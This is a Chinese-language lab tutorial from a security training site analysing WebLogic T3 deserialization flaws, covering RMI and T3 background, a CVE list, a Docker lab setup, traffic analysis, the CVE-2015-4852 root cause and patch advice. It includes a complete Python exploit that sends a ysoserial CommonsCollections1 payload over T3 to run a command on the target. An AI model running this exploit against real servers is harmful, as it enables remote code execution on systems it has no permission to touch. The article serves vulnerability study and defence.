蜗牛学苑logo
图标
蜗牛学苑 凡云教育 阿多比设计 播来播趣
  • 图标 图标 在线靶场
  • 图标 图标 专题文章
  • 图标 图标 在线视频
  • 图标 图标 用户排名
  • 图标 图标 收藏夹
  • 图标 图标 积分商城
  • 图标 图标 写反馈
点击查看未关闭靶场
登录/注册
头像
图标 0
图标

WebLogic_T3反序列化漏洞(一)

发现 1分钟 3个赞

WebLogic_T3反序列化漏洞

一、前置知识


1.1 RMI协议


RMI(Remote Method Invocation)即远程方法调用。它能够让在某个Java虚拟机上的对象像调用本地对象一样调用另一个Java虚拟机中的对象上的方法。它支持序列化的Java类的直接传输。

Java RMI的默认基础通信协议为JRMP,但其也支持开发其他的协议用来优化RMI的传输,或者兼容非JVM,如WebLogic的T3和兼容CORBA的IIOP。

RMI远程方法调用的过程一般有以下几个部分参与:
客户端对象(RMI Client)
服务端对象(RMI Server)
客户端代理对象(stub):远程对象在客户端上的代理。
服务端代理对象(skeleton):读取客户端传递的方法参数,调用服务器方的实际对象方法, 并接收方法执行后的返回值。
RMI 注册表(RMI register):其中注册了远程对象,并由RMI 客户端查找已注册的远程对象。其以URL形式注册远程对象,并向客户端回复对远程对象的引用。
RMI调用流程如图:

专题文章


服务端创建并注册远程对象,用于客户端访问。
客户端使用 JNDI lookup 去查找远程服务器上的RMI服务上的远程对象。
RMI register返回给客户端远程对象的Stub。
客户端通过Stub对象调用远程主机对象上的方法。
Stub代理客户端处理远程对象调用请求,并且序列化调用请求后通过JRMP协议传输,发送给服务端。
服务端接收到请求后,Skeleton调用方法。
服务端进行执行然后将返回的结果对象传给Skeleton对象。
Skeleton接收到结果对象,代理服务端将结果进行序列化,而后发送给客户端
客户端Stub对象接收到序列化的结果对象,并交由客户端反序列化结果对象。

1.2 WebLogic RMI


WebLogic RMI可以说是WebLogic对Java RMI的实现,与上述的Java RMI调用过程基本一样,在功能和实现方式上有些差异。两者差异如下:
WebLogic RMI支持集群部署和负载均衡。
webLogic支持stub和skeleton动态生成,将对象部署到RMI 注册中心或JNDI时,webLogic将自动生成必要的代理。
WebLogic RMI在进行数据传输时,主要使用自己私有的T3协议进行通信(还有基于CORBA的IIOP协议)。

1.3 T3协议


T3协议是WebLogic私有的协议,相比于JRMP协议多了如下的一些特性:
  1. 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
  2. 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

1.4 JNDI


JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI可以兼容和访问现有目录服务如:DNS、XNam、LDAP、CORBA对象服务、文件系统、RMI、DSML v1&v2、NIS等。
如下:
jdbc://<domain>:<port>rmi://<domain>:<port>ldap://<domain>:<port>

1.5 WebLogic T3反序列化漏洞简介


WebLogic T3反序列化漏洞从利用方式来划分可以分为前后期,前期直接通过T3协议发送恶意反序列化对象,后期为利用T3协议配合JRMP或JNDI接口反向发送反序列化数据。
WebLogic T3反序列化历史漏洞:
CVE号
受影响的组件
受影响版本



CVE-2018-3252
WLS Core Components
10.3.6.0, 12.1.3.0, 12.2.1.3
CVE-2018-3245
WLS Core Components
10.3.6.0, 12.1.3.0, 12.2.1.3
CVE-2018-3191
WLS Core Components
10.3.6.0, 12.1.3.0, 12.2.1.3
CVE-2018-2893
WLS Core Components
10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
CVE-2018-2628
WLS Core Components
10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
CVE-2017-3248
Core Components
10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1
CVE-2016-3510
Oracle WebLogic Server
10.3.6.0, 12.1.3.0, 12.2.1.0
CVE-2016-0638
Oracle WebLogic Server
10.3.6, 12.1.2, 12.1.3, 12.2.1
CVE-2015-4852
Oracle WebLogic Server
10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0


其中前期利用方式的漏洞有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510等。
而后期利用方式有CVE-2017-3248、CVE-2018-2628、CVE-2018-2893、CVE-2018-3191、CVE-2018-3245等。

二、漏洞原理分析


2.1 环境搭建


服务器:
Centos7.9 安装docker(IP:192.168.219.206)
jdk版本:
jdk-7u21(https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html)
weblogic版本:
10.3.6.0(https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html)
环境部署脚本工具:https://github.com/QAX-A-Team/WeblogicEnvironment        
操作步骤:
下载环境部署脚本,解压后,在解压的目录下创建jdks与weblogics这两个目录。

专题文章

将下载的jdk-7u21-linux-x64.tar.gz放于jdks下,wls1036_generic.jar放于weblogics下。

专题文章

使用在部署脚本主目录下,使用如下命令构建docker镜像:


docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

而后使用该镜像创建容器并运行。


docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
注意:若第三步出现执行yum -y install libnsl失败时,出现如下错误:


Error: Failed to download metadata for repo 'appstream': Cannot prepare internal mirrorlist: No URLs in mirrorlist
可以在主目录下的Dockerfile中的这条命令前加上如下两条命令,而后重新构建docker镜像。



RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*


2.2 T3协议流量分析


利用相关漏洞利用工具与weblogic进行T3协议的通信,并实现weblogic rmi的调用过程,并使用wireshark抓取通信流量。找到响应的tcp数据包,右键->追踪流->TCP流。

专题文章


通信过程的TCP流如下:

专题文章

而后查看客户端发送的序列化数据的对应包,如下图:

专题文章

这个数据包主要由四部分组成:
数据包长度。
T3协议头。
反序列化标志:T3协议中每个反序列化数据包前面都带有fe 01 00 00,而后再加上Java反序列化标志ac ed 00 05。
序列化数据。
(注意:Java 反序列化数据开头包含两字节的魔术数字,这两个字节始终为十六进制的0xac 0xed,接下来是两字节的版本号这里为0x00 0x05。在T3协议的数据包中,在这个四个字节前还有四个字节 fe 01 00 00 )
这里的数据包只是我们使用漏洞利用工具发送的,其中就只有一段序列化数据,有时候并不只发送一段序列化数据,它可能会发送多个序列化数据,彼此之间以反序列化标志隔开,如下图:

专题文章


T3数据包主要内容如下图:

专题文章


从上面我们可以知道第二到第七部分内容,开头都是ac ed 00 05,说明这些都是JAVA序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了,于是我们可以将第二至七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据,或者直接将第一部分与恶意的序列化数据进行拼接后发送给服务端即可。

2.3 CVE-2015-4852漏洞分析


CVE-2015-4852可以说是WebLogic T3反序列化漏洞的开端,接下来我们将从这个漏洞去了解WebLogic T3反序列化漏洞。
网上有许多针对CVE-2015-4852的exp,在网上找到以下python脚本与ysoserial工具进行漏洞利用。脚本功能如下:
使用ysoserial工具生成的一个payload,其利用链为CommonsCollections1,执行的命令为在被攻击服务器的tmp下创建一个名为test_t3.txt的文件。
使用上述已生成的payload添加到t3协议的数据包中,即将T3协议数据包第一部分与恶意的序列化数据进行拼接后发送给服务端。
import struct # 负责大小端的转换
import subprocess
import socket
import re
import binascii

def generatePayload(gadget,cmd):
    YSO_PATH = "ysoserial-master.jar"
    popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
    return popen.stdout.read()

def T3Exploit(ip,port,payload):
    sock =socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 初始化socket,前者指定用于服务器与服务器之间的网络通信,后者指定基于TCP的流式socket通信
    sock.connect((ip, port))  # 建立socket连接
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"  # socket握手消息
    sock.sendall(handshake.encode())
    data = sock.recv(1024)   # 接收第一个socket数据包,HELO
    data1 = sock.recv(1024)  # 接收第二个socket数据包,:10.3.6.0.false
    isweblogic = re.compile("HELO").findall(data.decode())   # 匹配字段中有无HELO
    version = re.compile(":(.*).0.false").findall(data1.decode())  # 使用正则匹配服务器握手消息中返回的weblogic版本号
    if isweblogic and version:
        print("WebLogic: "+"".join(version))  # 输出weblogic版本号
    else:
        print("Not WebLogic")  # 对端可能不是weblogic
    header = binascii.a2b_hex(b"00000000")  # 先占位4个字节,这四个字节表示数据包长度
    # 以下为t3协议头
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")  # 反序列化数据标志 fe010000,
    payload = header + t3header + desflag + payload  # 将各部分拼接,将ysoserial生成payload添加到后面
    # 计算payload长度,并将长度字段放于前四个字节
    payload = struct.pack("&gt;I", len(payload)) + payload[4:]
    sock.send(payload)

if __name__ == "__main__":
    ip = "192.168.219.206"
    port = 7001
    gadget = "CommonsCollections1"  # 指定使用CommonsCollections1反序列化利用链
    cmd = "touch /tmp/test_t3.txt"  # 让被攻击服务器执行的指定命令,创建一个文件
    payload = generatePayload(gadget, cmd)  # 使用ysoserial生成payload
    T3Exploit(ip, port, payload)


查看weblogic服务器上的tmp目录,发现已经成功创建文件test_t3.txt。


专题文章

漏洞的触发点在
wlserver\server\lib\wlthint3client.jar!\weblogic\rjvm\InboundMsgAbbrev.class中,其中的readObject()方法会处理T使用3协议传入的序列化数据。在readObject()方法中又去调用了InboundMsgAbbrev.ServerChannelInputStream的readObject方法,这里的var1即是Java序列化数据。

专题文章

查看ServerChannelInputStream这个类,发现其继承于ObjectInputStream,而且并没有重写readObject()方法,可以说这里没有对传入的序列化数据做任何处理,直接传入ObjectInputStream的readObject()方法中进行反序列化操作。


专题文章


而weblogic这个版本自带Apache Commons Collections3.2.0,于是我们可以利用ysoserial生成CommonsCollections1的payload进行利用,于是我们将T3协议的序列化数据替换成这个生成的payload即可触发反序列化漏洞。

专题文章


2.4 resolveClass与Java反序列化防御


resolveClass方法是
ObjectInputStream.readObject()方法执行时必定会进行调用的一个方法,其作用为类的序列化描述符加工成该类的Class对象。


专题文章


可以说当时用readObject()方法进行反序列化时,其必定会调用该方法。于是我们可以重写resolveClass方法,使用黑名单的方式,让攻击者无法获取用于执行命令的相关类的Class对象。上述 CVE-2015-4852漏洞分析中,我们看到其在ServerChannelInputStream中重写了resolveClass方法,但并没有对传入的数据做任何处理,而是直接使用父类ObjectInputStream的resolveClass方法。


专题文章


而WebLogic对CVE-2015-4852的修复措施也是在resloveClass里加上 ClassFilter.isBlackListed黑名单过滤。


专题文章


三、修复建议


下载安装最新的补丁。
若服务在外网的情况下,可以使用以下两种方式进行防御:
    • 采用web代理,这样只能转发HTTP的请求,而不会转发T3协议的请求。
    • 使用负载均衡,并且指定需要进行负载均衡的协议类型为HTTP,不接收其他的协议请求转发。


四、参考文章

点击文字可跳转

1、WebLogic安全研究报告
2、浅析WebLogic 反序列化漏洞
3、Weblogic漏洞学习:T3反序列化


图标 相关靶场
评论
QQ好友
微信好友
复制链接
版权所有 © 成都蜗牛创想科技有限公司
备案: 蜀ICP备15014130号-13 网络文化经营许可证

登录

前往注册
验证码登录
11 / 11
手机号或密码错误
图标 图标
验证码图片

重置密码

密码登录
0 / 11
验证码错误

重置密码

0 / 11
验证码错误

账号注册

注册成功

注册成功,默认密码已通过短信发送给您

欢迎来到蜗牛学苑~

0 / 11
验证码错误
图标 图标
密码或手机号错误
图标 图标
关闭
  • 账号信息
  • 重置密码
  • 我的生涯
  • 消费记录
  • 上传记录
  • 退出登录

账号信息

头像 更换

小靶

修改密码

修改密码

我的生涯

  • 总览
  • 打靶记录

消费记录

  • 靶场
  • 积分兑换

上传记录

  • 有奖靶场
  • 有奖文章
新增
名字 版本 flag位置 操作

退出登录

退出登录
图标